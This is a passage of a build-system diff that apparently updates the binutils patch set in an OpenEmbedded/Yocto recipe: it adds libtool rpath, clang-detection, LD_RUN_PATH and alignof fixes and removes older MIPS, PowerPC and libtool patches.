- || ((mask & INSN_ISA_MASK) == INSN_ISA64R6);
-
-+ case CPU_XLP:
-+ return (mask & INSN_XLP) != 0;
-+
- default:
- return FALSE;
- }
-diff --git a/ld/configure.tgt b/ld/configure.tgt
-index 9b4bf2ca964..f6d7171dff7 100644
---- a/ld/configure.tgt
-+++ b/ld/configure.tgt
-@@ -510,6 +510,9 @@ mips*-sde-elf* | mips*-mti-elf* | mips*-img-elf*)
- targ_emul=elf32btsmip
- targ_extra_emuls="elf32ltsmip elf32btsmipn32 elf64btsmip elf32ltsmipn32 elf64ltsmip"
- ;;
-+mipsisa64*-*-elf*) targ_emul=elf32btsmip
-+ targ_extra_emuls="elf32ltsmip elf64btsmip elf64ltsmip"
-+ ;;
- mips64*el-ps2-elf*) targ_emul=elf32lr5900n32
- targ_extra_emuls="elf32lr5900"
- targ_extra_libpath=$targ_extra_emuls
-diff --git a/opcodes/mips-dis.c b/opcodes/mips-dis.c
-index 755bbe294bd..ce22ef683a6 100644
---- a/opcodes/mips-dis.c
-+++ b/opcodes/mips-dis.c
-@@ -674,13 +674,11 @@ const struct mips_arch_choice mips_arch_choices[] =
- mips_cp0sel_names_xlr, ARRAY_SIZE (mips_cp0sel_names_xlr),
- mips_cp1_names_mips3264, mips_hwr_names_numeric },
-
-- /* XLP is mostly like XLR, with the prominent exception it is being
-- MIPS64R2. */
-- { "xlp", 1, bfd_mach_mips_xlr, CPU_XLR,
-- ISA_MIPS64R2 | INSN_XLR, 0,
-- mips_cp0_names_xlr,
-- mips_cp0sel_names_xlr, ARRAY_SIZE (mips_cp0sel_names_xlr),
-- mips_cp1_names_mips3264, mips_hwr_names_numeric },
-+ { "xlp", 1, bfd_mach_mips_xlp, CPU_XLP,
-+ ISA_MIPS64R2 | INSN_XLP, 0,
-+ mips_cp0_names_mips3264r2,
-+ mips_cp0sel_names_mips3264r2, ARRAY_SIZE (mips_cp0sel_names_mips3264r2),
-+ mips_cp1_names_mips3264, mips_hwr_names_mips3264r2 },
-
- /* This entry, mips16, is here only for ISA/processor selection; do
- not print its name. */
-diff --git a/opcodes/mips-opc.c b/opcodes/mips-opc.c
-index 5270aeefa80..d17dc78cd71 100644
---- a/opcodes/mips-opc.c
-+++ b/opcodes/mips-opc.c
-@@ -328,6 +328,7 @@ decode_mips_operand (const char *p)
- #define IOCT3 INSN_OCTEON3
- #define XLR INSN_XLR
- #define IAMR2 INSN_INTERAPTIV_MR2
-+#define XLP INSN_XLP
- #define IVIRT ASE_VIRT
- #define IVIRT64 ASE_VIRT64
-
-@@ -990,6 +991,7 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"clo", "U,s", 0x70000021, 0xfc0007ff, WR_1|RD_2, 0, I32|N55, 0, I37 },
- {"clz", "d,s", 0x00000050, 0xfc1f07ff, WR_1|RD_2, 0, I37, 0, 0 },
- {"clz", "U,s", 0x70000020, 0xfc0007ff, WR_1|RD_2, 0, I32|N55, 0, I37 },
-+{"crc", "d,s,t", 0x7000001c, 0xfc0007ff, WR_1|RD_2|RD_3, 0, XLP, 0, 0 },
- /* ctc0 is at the bottom of the table. */
- {"ctc1", "t,G", 0x44c00000, 0xffe007ff, RD_1|WR_CC|CM, 0, I1, 0, 0 },
- {"ctc1", "t,S", 0x44c00000, 0xffe007ff, RD_1|WR_CC|CM, 0, I1, 0, 0 },
-@@ -1022,12 +1024,13 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"daddiu", "t,r,j", 0x64000000, 0xfc000000, WR_1|RD_2, 0, I3, 0, 0 },
- {"daddu", "d,v,t", 0x0000002d, 0xfc0007ff, WR_1|RD_2|RD_3, 0, I3, 0, 0 },
- {"daddu", "t,r,I", 0, (int) M_DADDU_I, INSN_MACRO, 0, I3, 0, 0 },
--{"daddwc", "d,s,t", 0x70000038, 0xfc0007ff, WR_1|RD_2|RD_3|WR_C0|RD_C0, 0, XLR, 0, 0 },
-+{"daddwc", "d,s,t", 0x70000038, 0xfc0007ff, WR_1|RD_2|RD_3|WR_C0|RD_C0, 0, XLR|XLP, 0, 0 },
- {"dbreak", "", 0x7000003f, 0xffffffff, 0, 0, N5, 0, 0 },
- {"dclo", "d,s", 0x00000053, 0xfc1f07ff, WR_1|RD_2, 0, I69, 0, 0 },
- {"dclo", "U,s", 0x70000025, 0xfc0007ff, WR_1|RD_2, 0, I64|N55, 0, I69 },
- {"dclz", "d,s", 0x00000052, 0xfc1f07ff, WR_1|RD_2, 0, I69, 0, 0 },
- {"dclz", "U,s", 0x70000024, 0xfc0007ff, WR_1|RD_2, 0, I64|N55, 0, I69 },
-+{"dcrc", "d,s,t", 0x7000001d, 0xfc0007ff, WR_1|RD_2|RD_3, 0, XLP, 0, 0 },
- /* dctr and dctw are used on the r5000. */
- {"dctr", "o(b)", 0xbc050000, 0xfc1f0000, RD_2, 0, I3, 0, 0 },
- {"dctw", "o(b)", 0xbc090000, 0xfc1f0000, RD_2, 0, I3, 0, 0 },
-@@ -1099,6 +1102,7 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"dmfc0", "t,G,H", 0x40200000, 0xffe007f8, WR_1|RD_C0|LC, 0, I64, 0, 0 },
- {"dmfgc0", "t,G", 0x40600100, 0xffe007ff, WR_1|RD_C0|LC, 0, 0, IVIRT64, 0 },
- {"dmfgc0", "t,G,H", 0x40600100, 0xffe007f8, WR_1|RD_C0|LC, 0, 0, IVIRT64, 0 },
-+{"dmfur", "t,d", 0x7000001e, 0xffe007ff, WR_1, 0, XLP, 0, 0 },
- {"dmt", "", 0x41600bc1, 0xffffffff, TRAP, 0, 0, MT32, 0 },
- {"dmt", "t", 0x41600bc1, 0xffe0ffff, WR_1|TRAP, 0, 0, MT32, 0 },
- {"dmtc0", "t,G", 0x40a00000, 0xffe007ff, RD_1|WR_C0|WR_CC|CM, 0, I3, 0, EE },
-@@ -1114,6 +1118,8 @@ const struct mips_opcode mips_builtin_opcodes[] =
- /* dmfc3 is at the bottom of the table. */
- /* dmtc3 is at the bottom of the table. */
- {"dmuh", "d,s,t", 0x000000dc, 0xfc0007ff, WR_1|RD_2|RD_3, 0, I69, 0, 0 },
-+{"dmtur", "t,d", 0x7000001f, 0xffe007ff, RD_1, 0, XLP, 0, 0 },
-+{"dmul", "d,s,t", 0x70000006, 0xfc0007ff, WR_1|RD_2|RD_3, 0, XLP, 0, 0 },
- {"dmul", "d,s,t", 0x0000009c, 0xfc0007ff, WR_1|RD_2|RD_3, 0, I69, 0, 0 },
- {"dmul", "d,v,t", 0x70000003, 0xfc0007ff, WR_1|RD_2|RD_3|WR_HILO, 0, IOCT, 0, 0 },
- {"dmul", "d,v,t", 0, (int) M_DMUL, INSN_MACRO, 0, I3, 0, M32|I69 },
-@@ -1267,9 +1273,9 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"ld", "s,-b(+R)", 0xec180000, 0xfc1c0000, WR_1, RD_pc, I69, 0, 0 },
- {"ld", "t,A(b)", 0, (int) M_LD_AB, INSN_MACRO, 0, I1, 0, 0 },
- {"ld", "t,o(b)", 0xdc000000, 0xfc000000, WR_1|RD_3|LM, 0, I3, 0, 0 },
--{"ldaddw", "t,b", 0x70000010, 0xfc00ffff, MOD_1|RD_2|LM|SM, 0, XLR, 0, 0 },
--{"ldaddwu", "t,b", 0x70000011, 0xfc00ffff, MOD_1|RD_2|LM|SM, 0, XLR, 0, 0 },
--{"ldaddd", "t,b", 0x70000012, 0xfc00ffff, MOD_1|RD_2|LM|SM, 0, XLR, 0, 0 },
-+{"ldaddw", "t,b", 0x70000010, 0xfc00ffff, MOD_1|RD_2|SM, 0, XLR|XLP, 0, 0 },
-+{"ldaddwu", "t,b", 0x70000011, 0xfc00ffff, MOD_1|RD_2|SM, 0, XLR|XLP, 0, 0 },
-+{"ldaddd", "t,b", 0x70000012, 0xfc00ffff, MOD_1|RD_2|SM, 0, XLR|XLP, 0, 0 },
- {"ldc1", "T,o(b)", 0xd4000000, 0xfc000000, WR_1|RD_3|CLD|FP_D, 0, I2, 0, SF },
- {"ldc1", "E,o(b)", 0xd4000000, 0xfc000000, WR_1|RD_3|CLD|FP_D, 0, I2, 0, SF },
- {"ldc1", "T,A(b)", 0, (int) M_LDC1_AB, INSN_MACRO, INSN2_M_FP_D, I2, 0, SF },
-@@ -1438,7 +1444,7 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"mflo", "d,9", 0x00000012, 0xff9f07ff, WR_1|RD_LO, 0, 0, D32, 0 },
- {"mflo1", "d", 0x70000012, 0xffff07ff, WR_1|RD_LO, 0, EE, 0, 0 },
- {"mflhxu", "d", 0x00000052, 0xffff07ff, WR_1|MOD_HILO, 0, 0, SMT, 0 },
--{"mfcr", "t,s", 0x70000018, 0xfc00ffff, WR_1|RD_2, 0, XLR, 0, 0 },
-+{"mfcr", "t,s", 0x70000018, 0xfc00ffff, WR_1, 0, XLR|XLP, 0, 0 },
- {"mfsa", "d", 0x00000028, 0xffff07ff, WR_1, 0, EE, 0, 0 },
- {"min.ob", "X,Y,Q", 0x78000006, 0xfc20003f, WR_1|RD_2|RD_3|FP_D, 0, SB1, MX, 0 },
- {"min.ob", "D,S,Q", 0x48000006, 0xfc20003f, WR_1|RD_2|RD_3|FP_D, 0, N54, 0, 0 },
-@@ -1483,10 +1489,13 @@ const struct mips_opcode mips_builtin_opcodes[] =
- /* move is at the top of the table. */
- {"msgn.qh", "X,Y,Q", 0x78200000, 0xfc20003f, WR_1|RD_2|RD_3|FP_D, 0, 0, MX, 0 },
- {"msgsnd", "t", 0, (int) M_MSGSND, INSN_MACRO, 0, XLR, 0, 0 },
-+{"msgsnds", "d,t", 0x4a000001, 0xffe007ff, WR_1|RD_2|RD_C0|WR_C0, 0, XLP, 0, 0 },
- {"msgld", "", 0, (int) M_MSGLD, INSN_MACRO, 0, XLR, 0, 0 },
- {"msgld", "t", 0, (int) M_MSGLD_T, INSN_MACRO, 0, XLR, 0, 0 },
--{"msgwait", "", 0, (int) M_MSGWAIT, INSN_MACRO, 0, XLR, 0, 0 },
--{"msgwait", "t", 0, (int) M_MSGWAIT_T,INSN_MACRO, 0, XLR, 0, 0 },
-+{"msglds", "d,t", 0x4a000002, 0xffe007ff, WR_1|RD_2|RD_C0|WR_C0, 0, XLP, 0, 0 },
-+{"msgwait", "", 0, (int) M_MSGWAIT, INSN_MACRO, 0, XLR|XLP, 0, 0 },
-+{"msgwait", "t", 0, (int) M_MSGWAIT_T,INSN_MACRO, 0, XLR|XLP, 0, 0 },
-+{"msgsync", "", 0x4a000004, 0xffffffff,0, 0, XLP, 0, 0 },
- {"msub.d", "D,R,S,T", 0x4c000029, 0xfc00003f, WR_1|RD_2|RD_3|RD_4|FP_D, 0, I4_33, 0, I37 },
- {"msub.d", "D,S,T", 0x46200019, 0xffe0003f, WR_1|RD_2|RD_3|FP_D, 0, IL2E, 0, 0 },
- {"msub.d", "D,S,T", 0x72200019, 0xffe0003f, WR_1|RD_2|RD_3|FP_D, 0, IL2F, 0, 0 },
-@@ -1536,7 +1545,7 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"mtlo", "s,7", 0x00000013, 0xfc1fe7ff, RD_1|WR_LO, 0, 0, D32, 0 },
- {"mtlo1", "s", 0x70000013, 0xfc1fffff, RD_1|WR_LO, 0, EE, 0, 0 },
- {"mtlhx", "s", 0x00000053, 0xfc1fffff, RD_1|MOD_HILO, 0, 0, SMT, 0 },
--{"mtcr", "t,s", 0x70000019, 0xfc00ffff, RD_1|RD_2, 0, XLR, 0, 0 },
-+{"mtcr", "t,s", 0x70000019, 0xfc00ffff, RD_1, 0, XLR|XLP, 0, 0 },
- {"mtm0", "s", 0x70000008, 0xfc1fffff, RD_1, 0, IOCT, 0, 0 },
- {"mtm0", "s,t", 0x70000008, 0xfc00ffff, RD_1|RD_2, 0, IOCT3, 0, 0 },
- {"mtm1", "s", 0x7000000c, 0xfc1fffff, RD_1, 0, IOCT, 0, 0 },
-@@ -1978,9 +1987,9 @@ const struct mips_opcode mips_builtin_opcodes[] =
- {"suxc1", "S,t(b)", 0x4c00000d, 0xfc0007ff, RD_1|RD_2|RD_3|SM|FP_D, 0, I5_33|N55, 0, I37},
- {"sw", "t,o(b)", 0xac000000, 0xfc000000, RD_1|RD_3|SM, 0, I1, 0, 0 },
- {"sw", "t,A(b)", 0, (int) M_SW_AB, INSN_MACRO, 0, I1, 0, 0 },
--{"swapw", "t,b", 0x70000014, 0xfc00ffff, MOD_1|RD_2|LM|SM, 0, XLR, 0, 0 },
--{"swapwu", "t,b", 0x70000015, 0xfc00ffff, MOD_1|RD_2|LM|SM, 0, XLR, 0, 0 },
--{"swapd", "t,b", 0x70000016, 0xfc00ffff, MOD_1|RD_2|LM|SM, 0, XLR, 0, 0 },
-+{"swapw", "t,b", 0x70000014, 0xfc00ffff, MOD_1|RD_2|SM, 0, XLR|XLP, 0, 0 },
-+{"swapwu", "t,b", 0x70000015, 0xfc00ffff, MOD_1|RD_2|SM, 0, XLR|XLP, 0, 0 },
-+{"swapd", "t,b", 0x70000016, 0xfc00ffff, MOD_1|RD_2|SM, 0, XLR|XLP, 0, 0 },
- {"swc0", "E,o(b)", 0xe0000000, 0xfc000000, RD_3|RD_C0|SM, 0, I1, 0, IOCT|IOCTP|IOCT2|I37 },
- {"swc0", "E,A(b)", 0, (int) M_SWC0_AB, INSN_MACRO, 0, I1, 0, IOCT|IOCTP|IOCT2|I37 },
- {"swc1", "T,o(b)", 0xe4000000, 0xfc000000, RD_1|RD_3|SM|FP_S, 0, I1, 0, 0 },
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0010-sync-with-OE-libtool-changes.patch b/meta/recipes-devtools/binutils/binutils/0010-sync-with-OE-libtool-changes.patch
new file mode 100644
index 0000000000..57d9ac5f27
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0010-sync-with-OE-libtool-changes.patch
@@ -0,0 +1,86 @@
+From befc176c209bbb4c32b57c2068e813c88b1ab6b1 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Mon, 6 Mar 2017 23:33:27 -0800
+Subject: [PATCH] sync with OE libtool changes
+
+Apply these patches from our libtool patches as not only are redundant RPATHs a
+waste of space but they can cause incorrect linking when native packages are
+restored from sstate.
+
+fix-rpath.patch:
+We don't want to add RPATHS which match default linker
+search paths, they're a waste of space. This patch
+filters libtools list and removes the ones we don't need.
+
+norm-rpath.patch:
+Libtool may be passed link paths of the form "/usr/lib/../lib", which
+fool its detection code into thinking it should be included as an
+RPATH in the generated binary. Normalize before comparision.
+
+Upstream-Status: Inappropriate
+
+Signed-off-by: Ross Burton <ross.burton@intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ ltmain.sh | 34 ++++++++++++++++++++++++++++------
+ 1 file changed, 28 insertions(+), 6 deletions(-)
+
+diff --git a/ltmain.sh b/ltmain.sh
+index f59eb4aa631..ce97db42ce7 100644
+--- a/ltmain.sh
++++ b/ltmain.sh
+@@ -8053,8 +8053,16 @@ EOF
+ esac
+ fi
+ else
+- eval flag=\"$hardcode_libdir_flag_spec\"
+- func_append dep_rpath " $flag"
++ # We only want to hardcode in an rpath if it isn't in the
++ # default dlsearch path.
++ func_normal_abspath "$libdir"
++ libdir_norm=$func_normal_abspath_result
++ case " $sys_lib_dlsearch_path " in
++ *" $libdir_norm "*) ;;
++ *) eval flag=\"$hardcode_libdir_flag_spec\"
++ func_append dep_rpath " $flag"
++ ;;
++ esac
+ fi
+ elif test -n "$runpath_var"; then
+ case "$perm_rpath " in
+@@ -8790,8 +8798,16 @@ EOF
+ esac
+ fi
+ else
+- eval flag=\"$hardcode_libdir_flag_spec\"
+- func_append rpath " $flag"
++ # We only want to hardcode in an rpath if it isn't in the
++ # default dlsearch path.
++ func_normal_abspath "$libdir"
++ libdir_norm=$func_normal_abspath_result
++ case " $sys_lib_dlsearch_path " in
++ *" $libdir_norm "*) ;;
++ *) eval flag=\"$hardcode_libdir_flag_spec\"
++ rpath+=" $flag"
++ ;;
++ esac
+ fi
+ elif test -n "$runpath_var"; then
+ case "$perm_rpath " in
+@@ -8841,8 +8857,14 @@ EOF
+ esac
+ fi
+ else
+- eval flag=\"$hardcode_libdir_flag_spec\"
+- func_append rpath " $flag"
++ # We only want to hardcode in an rpath if it isn't in the
++ # default dlsearch path.
++ case " $sys_lib_dlsearch_path " in
++ *" $libdir "*) ;;
++ *) eval flag=\"$hardcode_libdir_flag_spec\"
++ func_append rpath " $flag"
++ ;;
++ esac
+ fi
+ elif test -n "$runpath_var"; then
+ case "$finalize_perm_rpath " in
diff --git a/meta/recipes-devtools/binutils/binutils/0011-Check-for-clang-before-checking-gcc-version.patch b/meta/recipes-devtools/binutils/binutils/0011-Check-for-clang-before-checking-gcc-version.patch
new file mode 100644
index 0000000000..c47f41f5ca
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0011-Check-for-clang-before-checking-gcc-version.patch
@@ -0,0 +1,45 @@
+From cad852e0ed46a1c26607f9e7d17cc5974b05e38a Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 15 Apr 2020 14:17:20 -0700
+Subject: [PATCH] Check for clang before checking gcc version
+
+Clang advertises itself to be gcc 4.2.1, so when compiling this test
+here fails since gcc < 4.4.5 did not support -static-libstdc++ but thats
+not true for clang, so its better to make an additional check for clang
+before resorting to gcc version check. This should let clang enable
+static libstdc++ linking
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ configure | 2 +-
+ configure.ac | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/configure b/configure
+index 670684d83d1..f9ba1c0a4f7 100755
+--- a/configure
++++ b/configure
+@@ -5432,7 +5432,7 @@ ac_compiler_gnu=$ac_cv_cxx_compiler_gnu
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+-#if (__GNUC__ < 4) || (__GNUC__ == 4 && __GNUC_MINOR__ < 5)
++#if !defined(__clang__) && ((__GNUC__ < 4) || (__GNUC__ == 4 && __GNUC_MINOR__ < 5))
+ #error -static-libstdc++ not implemented
+ #endif
+ int main() {}
+diff --git a/configure.ac b/configure.ac
+index 88b4800e298..6cd4530db56 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -1410,7 +1410,7 @@ if test "$GCC" = yes; then
+ AC_MSG_CHECKING([whether g++ accepts -static-libstdc++ -static-libgcc])
+ AC_LANG_PUSH(C++)
+ AC_LINK_IFELSE([AC_LANG_SOURCE([
+-#if (__GNUC__ < 4) || (__GNUC__ == 4 && __GNUC_MINOR__ < 5)
++#if !defined(__clang__) && ((__GNUC__ < 4) || (__GNUC__ == 4 && __GNUC_MINOR__ < 5))
+ #error -static-libstdc++ not implemented
+ #endif
+ int main() {}])],
diff --git a/meta/recipes-devtools/binutils/binutils/0011-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch b/meta/recipes-devtools/binutils/binutils/0011-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch
deleted file mode 100644
index 10c3d80865..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0011-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 7836f8aa56ef0f18c8658dc7e4952a9d097ba7e8 Mon Sep 17 00:00:00 2001
-From: Zhenhua Luo <zhenhua.luo@nxp.com>
-Date: Sat, 11 Jun 2016 22:08:29 -0500
-Subject: [PATCH 11/17] fix the incorrect assembling for ppc wait mnemonic
-
-Signed-off-by: Zhenhua Luo <zhenhua.luo@nxp.com>
-
-Upstream-Status: Pending
----
- opcodes/ppc-opc.c | 4 +---
- 1 file changed, 1 insertion(+), 3 deletions(-)
-
-diff --git a/opcodes/ppc-opc.c b/opcodes/ppc-opc.c
-index 5e20d617664..4c9656ecf08 100644
---- a/opcodes/ppc-opc.c
-+++ b/opcodes/ppc-opc.c
-@@ -6265,8 +6265,6 @@ const struct powerpc_opcode powerpc_opcodes[] = {
- {"waitasec", X(31,30), XRTRARB_MASK, POWER8, POWER9, {0}},
- {"waitrsv", XWCPL(31,30,1,0),0xffffffff, POWER10, 0, {0}},
- {"pause_short", XWCPL(31,30,2,0),0xffffffff, POWER10, 0, {0}},
--{"wait", X(31,30), XWCPL_MASK, POWER10, 0, {WC, PL}},
--{"wait", X(31,30), XWC_MASK, POWER9, POWER10, {WC}},
-
- {"lwepx", X(31,31), X_MASK, E500MC|PPCA2, 0, {RT, RA0, RB}},
-
-@@ -6326,7 +6324,7 @@ const struct powerpc_opcode powerpc_opcodes[] = {
-
- {"waitrsv", X(31,62)|(1<<21), 0xffffffff, E500MC|PPCA2, 0, {0}},
- {"waitimpl", X(31,62)|(2<<21), 0xffffffff, E500MC|PPCA2, 0, {0}},
--{"wait", X(31,62), XWC_MASK, E500MC|PPCA2, 0, {WC}},
-+{"wait", X(31,62), XWC_MASK, E500MC|PPCA2|POWER9|POWER10, 0, {WC}},
-
- {"dcbstep", XRT(31,63,0), XRT_MASK, E500MC|PPCA2, 0, {RA0, RB}},
-
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0012-Detect-64-bit-MIPS-targets.patch b/meta/recipes-devtools/binutils/binutils/0012-Detect-64-bit-MIPS-targets.patch
deleted file mode 100644
index ef8b253b6a..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0012-Detect-64-bit-MIPS-targets.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From dbff6bdf2123f5495b8be930304d9aa5e88006a7 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 31 Mar 2017 11:42:03 -0700
-Subject: [PATCH 12/17] Detect 64-bit MIPS targets
-
-Add mips64 target triplets and default to N64
-
-Upstream-Status: Submitted
-https://sourceware.org/ml/binutils/2016-08/msg00048.html
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gold/configure.tgt | 14 ++++++++++++++
- 1 file changed, 14 insertions(+)
-
-diff --git a/gold/configure.tgt b/gold/configure.tgt
-index aa7ec552aec..470515062e4 100644
---- a/gold/configure.tgt
-+++ b/gold/configure.tgt
-@@ -153,6 +153,13 @@ aarch64*-*)
- targ_big_endian=false
- targ_extra_big_endian=true
- ;;
-+mips*64*el*-*-*|mips*64*le*-*-*)
-+ targ_obj=mips
-+ targ_machine=EM_MIPS_RS3_LE
-+ targ_size=64
-+ targ_big_endian=false
-+ targ_extra_big_endian=true
-+ ;;
- mips*el*-*-*|mips*le*-*-*)
- targ_obj=mips
- targ_machine=EM_MIPS_RS3_LE
-@@ -160,6 +167,13 @@ mips*el*-*-*|mips*le*-*-*)
- targ_big_endian=false
- targ_extra_big_endian=true
- ;;
-+mips*64*-*-*)
-+ targ_obj=mips
-+ targ_machine=EM_MIPS
-+ targ_size=64
-+ targ_big_endian=true
-+ targ_extra_big_endian=false
-+ ;;
- mips*-*-*)
- targ_obj=mips
- targ_machine=EM_MIPS
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0012-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch b/meta/recipes-devtools/binutils/binutils/0012-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch
new file mode 100644
index 0000000000..985911aab1
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0012-Only-generate-an-RPATH-entry-if-LD_RUN_PATH-is-not-e.patch
@@ -0,0 +1,38 @@
+From 47e53916e3112391d8bff2b2257dcec0a2426d66 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 10 Mar 2022 21:21:33 -0800
+Subject: [PATCH] Only generate an RPATH entry if LD_RUN_PATH is not empty
+
+for cases where -rpath isn't specified. debian (#151024)
+
+Upstream-Status: Pending
+
+Signed-off-by: Chris Chimelis <chris@debian.org>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ ld/ldelf.c | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/ld/ldelf.c b/ld/ldelf.c
+index 187b359af86..ad792f02d63 100644
+--- a/ld/ldelf.c
++++ b/ld/ldelf.c
+@@ -1130,6 +1130,9 @@ ldelf_handle_dt_needed (struct elf_link_hash_table *htab,
+ && command_line.rpath == NULL)
+ {
+ path = (const char *) getenv ("LD_RUN_PATH");
++ if ((path) && (strlen (path) == 0))
++ path = NULL;
++
+ if (path
+ && ldelf_search_needed (path, &n, force,
+ is_linux, elfsize))
+@@ -1805,6 +1808,8 @@ ldelf_before_allocation (char *audit, char *depaudit,
+ rpath = command_line.rpath;
+ if (rpath == NULL)
+ rpath = (const char *) getenv ("LD_RUN_PATH");
++ if ((rpath) && (strlen (rpath) == 0))
++ rpath = NULL;
+
+ for (abfd = link_info.input_bfds; abfd; abfd = abfd->link.next)
+ if (bfd_get_flavour (abfd) == bfd_target_elf_flavour)
diff --git a/meta/recipes-devtools/binutils/binutils/0013-Define-alignof-using-_Alignof-when-using-C11-or-newe.patch b/meta/recipes-devtools/binutils/binutils/0013-Define-alignof-using-_Alignof-when-using-C11-or-newe.patch
new file mode 100644
index 0000000000..0cb2f46a07
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0013-Define-alignof-using-_Alignof-when-using-C11-or-newe.patch
@@ -0,0 +1,48 @@
+From d479020609329cdc7fa3675bc3daf072401fefae Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 15 Jan 2023 00:16:25 -0800
+Subject: [PATCH] Define alignof using _Alignof when using C11 or newer
+
+WG14 N2350 made very clear that it is an UB having type definitions
+within "offsetof" [1]. This patch enhances the implementation of macro
+alignof to use builtin "_Alignof" to avoid undefined behavior on
+when using std=c11 or newer
+
+clang 16+ has started to flag this [2]
+
+Fixes build when using -std >= gnu11 and using clang16+
+
+Older compilers gcc < 4.9 or clang < 8 has buggy _Alignof even though it
+may support C11, exclude those compilers too
+
+[1] https://www.open-std.org/jtc1/sc22/wg14/www/docs/n2350.htm
+[2] https://reviews.llvm.org/D133574
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ libiberty/sha1.c | 10 ++++++++++
+ 1 file changed, 10 insertions(+)
+
+diff --git a/libiberty/sha1.c b/libiberty/sha1.c
+index 49e8e0b6c2b..72de5cc8ad6 100644
+--- a/libiberty/sha1.c
++++ b/libiberty/sha1.c
+@@ -234,7 +234,17 @@ sha1_process_bytes (const void *buffer, size_t len, struct sha1_ctx *ctx)
+ if (len >= 64)
+ {
+ #if !_STRING_ARCH_unaligned
++/* GCC releases before GCC 4.9 had a bug in _Alignof. See GCC bug 52023
++ <https://gcc.gnu.org/bugzilla/show_bug.cgi?id=52023>.
++ clang versions < 8.0.0 have the same bug. */
++#if (!defined __STDC_VERSION__ || __STDC_VERSION__ < 201112 \
++ || (defined __GNUC__ && __GNUC__ < 4 + (__GNUC_MINOR__ < 9) \
++ && !defined __clang__) \
++ || (defined __clang__ && __clang_major__ < 8))
+ # define alignof(type) offsetof (struct { char c; type x; }, x)
++#else
++# define alignof(type) _Alignof(type)
++#endif
+ # define UNALIGNED_P(p) (((size_t) p) % alignof (sha1_uint32) != 0)
+ if (UNALIGNED_P (buffer))
+ while (len > 64)
diff --git a/meta/recipes-devtools/binutils/binutils/0013-Use-libtool-2.4.patch b/meta/recipes-devtools/binutils/binutils/0013-Use-libtool-2.4.patch
deleted file mode 100644
index 987a96f4b7..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0013-Use-libtool-2.4.patch
+++ /dev/null
@@ -1,23153 +0,0 @@
-From 7e2ddee8704c9c3b73760dd9464b18fade563d85 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 14 Feb 2016 17:04:07 +0000
-Subject: [PATCH 13/17] Use libtool 2.4
-
-get libtool sysroot support
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- bfd/configure | 1322 +++++++++++++++-----
- bfd/configure.ac | 2 +-
- binutils/configure | 1320 +++++++++++++++-----
- gas/configure | 1320 +++++++++++++++-----
- gprof/configure | 1320 +++++++++++++++-----
- ld/configure | 1695 ++++++++++++++++++-------
- libctf/configure | 1319 +++++++++++++++-----
- libtool.m4 | 1080 +++++++++++-----
- ltmain.sh | 2925 +++++++++++++++++++++++++++++---------------
- ltoptions.m4 | 2 +-
- ltversion.m4 | 12 +-
- lt~obsolete.m4 | 2 +-
- opcodes/configure | 1320 +++++++++++++++-----
- zlib/configure | 1320 +++++++++++++++-----
- 14 files changed, 10931 insertions(+), 4028 deletions(-)
-
-diff --git a/bfd/configure b/bfd/configure
-index 0340ed541b5..2012656b3b7 100755
---- a/bfd/configure
-+++ b/bfd/configure
-@@ -704,6 +704,9 @@ OTOOL
- LIPO
- NMEDIT
- DSYMUTIL
-+MANIFEST_TOOL
-+ac_ct_AR
-+DLLTOOL
- OBJDUMP
- LN_S
- NM
-@@ -822,6 +825,7 @@ enable_static
- with_pic
- enable_fast_install
- with_gnu_ld
-+with_libtool_sysroot
- enable_libtool_lock
- enable_plugins
- enable_largefile
-@@ -1504,6 +1508,8 @@ Optional Packages:
- --with-pic try to use only PIC/non-PIC objects [default=use
- both]
- --with-gnu-ld assume the C compiler uses GNU ld [default=no]
-+ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
-+ (or the compiler's sysroot if not specified).
- --with-mmap try using mmap for BFD input files if available
- --with-separate-debug-dir=DIR
- Look for global separate debug info in DIR
-@@ -5693,8 +5699,8 @@ esac
-
-
-
--macro_version='2.2.7a'
